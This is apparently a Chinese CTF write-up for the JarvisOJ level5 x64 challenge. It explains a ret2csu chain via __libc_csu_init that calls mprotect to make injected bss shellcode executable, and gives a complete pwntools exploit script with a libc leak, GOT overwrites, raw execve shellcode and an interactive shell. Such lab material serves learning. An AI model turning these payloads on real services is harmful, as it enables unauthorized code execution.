level5要求不用system和execve,而是用mprotect和mmap,查了一下,mmap主要是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行,mprotect函数是将从addr开始的地址 ,长度位len的内存的访问权限。毫无头绪。查了网上大神的wp,才知道思路。
首先leak地址,shellcode写入bss没什么好说的。
要说下为什么要把bss和mprotect写入got表
.text:0000000000400690 loc_400690:
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
是因为我们可以利用 __libc_csu_init中loc_4006A6处给这6个寄存器赋值,然后通过跳转到loc_400690处给前三个寄存器赋值,同时还可以控制r12和rbx来控制400699处的call,使用其他地方的函数,完美。而call其他函数需要在got表中存有,可以添加在got表中空闲处。而像level1那样直接修改返回地址则不需要添加进got表。
那么把bss和mprotect添加got表后,我在payload5处卡了很久,一直理解不了,终于想通了。说一下理解:
payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
这一句p64(0x4006A6)+"ret_addr"
是跳转到6a6处,'ret_addr’是跳转到其他地方时需要先将下一跳压栈我们是模拟压栈,然后后面的六个参数分别赋给rbx, rbp, r12,r13, r14,r15。
payload5 += p64(0x400690)+"ret_addr"
这句跳到690处,赋值给前三个参数寄存器,同时call [r12+rbx*8],我们令r12=mprotect_addr,rbx=0就可以调用mprotect,参数就是刚刚赋值的。调用完后,我们需要继续运行到6a6处,因为shellcode还没执行,我们需要改变r12的值,此时有
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
因此我们上面将rbp赋为1,令rbx=rbp,就不会回到690处,而是向下执行。
payload5 += p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
这是向下执行的参数,不多说。
payload5 += p64(0x400690)
这里跳到690处,执行shellcode。
下面放上脚本:
from pwn import*
context.log_level = "debug"
p=remote('pwn2.jarvisoj.com',9884)
e = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")
######### leak
write_plt = e.plt["write"]
write_got = e.got["write"]
vul_addr = e.symbols["vulnerable_function"]
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1
payload1 = 'a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+'a'*8+p64(write_plt)+p64(vul_addr)
p.recvline()
p.send(payload1)
tmp=p.recv(8)
write_addr=u64(tmp[0:8])
print hex(write_addr)
offset=write_addr-libc.symbols['write']
########### read shell code to bss
bss_addr=e.bss()
read_plt=e.symbols['read']
payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload2)
shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.send(shell_code)
###########write bss to got table
bss_got= 0x0000000000600A48
payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload3)
p.send(p64(bss_addr))
###########write mpro to got table
mprot_got= 0x0000000000600A50
mprot_addr=libc.symbols['mprotect']+offset
payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload4)
p.send(p64(mprot_addr))
########### jmp to __libc_csu_init to call shellcode
'''
.text:0000000000400690 loc_400690:
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
'''
payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 += p64(0x400690)
payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)
p.recvline()
p.send(payload5)
sleep(5)
p.interactive()
还有点疑惑,变成交互输入的时候需要等一会儿再输入命令,要不就不显示,不知道是为啥,所以加了sleep(5),存疑。